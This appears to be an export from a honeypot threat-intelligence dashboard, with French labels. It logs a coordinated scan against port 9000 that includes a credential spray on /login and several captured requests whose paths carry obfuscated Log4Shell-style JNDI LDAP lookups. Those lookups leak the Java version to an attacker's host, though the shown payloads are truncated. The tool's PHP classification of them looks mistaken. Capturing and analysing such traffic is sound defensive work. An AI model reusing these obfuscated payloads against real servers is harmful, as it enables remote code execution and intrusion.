"path": "\/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${bg:n64z:p4uv:-:}${h7:-j}${l4i:r98:-a}${qp:akey:-v}${p8h:-a}${pl:4g:z:-.}${0c8:87zn:-v}${ocn:e6g8:-e}${k:-r}${7:-s}${wxms:g:-i}${g:-o}${abj:pi:pla7:-n}}${z:-.}${7jm:1imj:q:-a}${wn:-d}${ca:dfar:t1zi:-c}${0y:lk5:y:-1}${6q4:-6}${5:-b}${kwq:lfr2:i6:-5}${s:-9}${se:-6}${s",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${bg:n64z:p4uv:-:}${h7:-j}${l4i:r98:-a}${qp:akey:-v}${p8h:-a}${pl:4g:z:-.}${0c8:87zn:-v}${ocn:e6g8:-e}${k:-r}${7:-s}${wxms:g:-i}${g:-o}${abj:pi:pla7:-n}}${z:-.}${7jm:1imj:q:-a}${wn:-d}${ca:dfar:t1zi:-c}${0y:lk5:y:-1}${6q4:-6}${5:-b}${kwq:lfr2:i6:-5}${s:-9}${",
"request_sample": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${",
"payload_snippet": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:f",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "681a8d8e9ff66516a087a807e5749374cd828305",
"protocol_details": {
"http_method": "ZSDLKFJ2",
"http_path": "\/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P\u2026",
"request_line": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}$\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:f",
"attack_vector": "deser php attack \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i\u2026",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "ZSDLKFJ2",
"http_path": "\/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P\u2026",
"request_line": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}$\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser php attack \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i\u2026",
"evidence_snippet": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:f",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:14 UTC
TCP
9000 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:9000 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
9000
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2841 Content-Type:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204d696e494f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f786d6c0d0a436f6e74656e742d4c656e6774683a203139300d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c4c6973",
"emulator_response_len": 276,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3134,
"payload_entropy": 4.586379068912011,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "568105e628cd026a7a3bebbff32dc169b68990ce",
"event_fingerprint": "c040113a58a36e88aeaca39ef517aa1f611dc882",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "29b1fe8385150b2b42a6e480467b0451",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2841\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2841\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "45f9593dd69d2ea5bba8abbdacffb4f9598a9f7a",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:13 UTC
TCP
9000 · HTTP
Sonde port 9000/TCP
port 9000 tcp · via HTTP:9000 · (sonde / probe) · → /${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2…
Élevée
Moyen · 59
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-/}${xn29:b:n8g:-/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${j:-s}${th4:-:}${457u:4v:klyv:-j}${fw0v:-a}${49df:c3s:-v}${z:h4:lmr:-a}${ad:9s:-.}${wp:-v}${1:nhrq:-e}${8q1:-r}${4p:6jfu:rof1:-s}${h:-i}${bjwc:drw:xc20:-o}${41:0w1:uhkj:-n}}${atm:zqv:-.}${u27:-a}${q:dp:s27:-d}${eo:-c}${k2:r:6e:-1}${6ei7:lp8:-6}${3l02:e:-b}${iet
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9000
Chemin / cible
/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-/}${xn29:b:n8g:-/}${0:-P}${1l…
Preuve honeypot — Sonde port 9000/TCP
Connexion détectée sur le port 9000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_9000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 59
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-/}${xn29:b:n8g:-/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${j:-s}${th4:-:}${457u:4v:klyv:-j}${fw0v:-a}${49df:c3s:-v}${z:h4:lmr:-a}${ad:9s:-.}${wp:-v}${1:nhrq:-e}${8q1:-r}${4p:6jfu:rof1:-s}${h:-i}${bjwc:drw:xc20:-o}${41:0w1:uhkj:-n}}${atm:zqv:-.}${u27:-a}${q:dp:s27:-d}${eo:-c}${k2:r:6e:-1}${6ei7:lp8:-6}${3l02:e:-b}$
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5t
Requête brute (extrait)
GET /${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-/}${xn29:b:n8g:-/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204d696e494f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f786d6c0d0a436f6e74656e742d4c656e6774683a203139300d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c4c6973",
"emulator_response_len": 276,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${8oj:no:-g}${p:ah2:-o}${q:ba:-o}${q7i:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "2f8a7ea7aad53540d370dcbe1f21cd5d8d58cbfb",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.882075459224764,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.7,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 59,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "6d4be02d11ae21dcb5124952c34a6926cd014895",
"event_fingerprint": "d584377affd26f26ff2ffd96b2d555bbb47b670c",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 59,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "27df8b87a7d38bc2d6e4c127981642bd",
"path_pattern_hash": "330323a58f304967c11af7734cdb9970"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 59
},
"method": "GET",
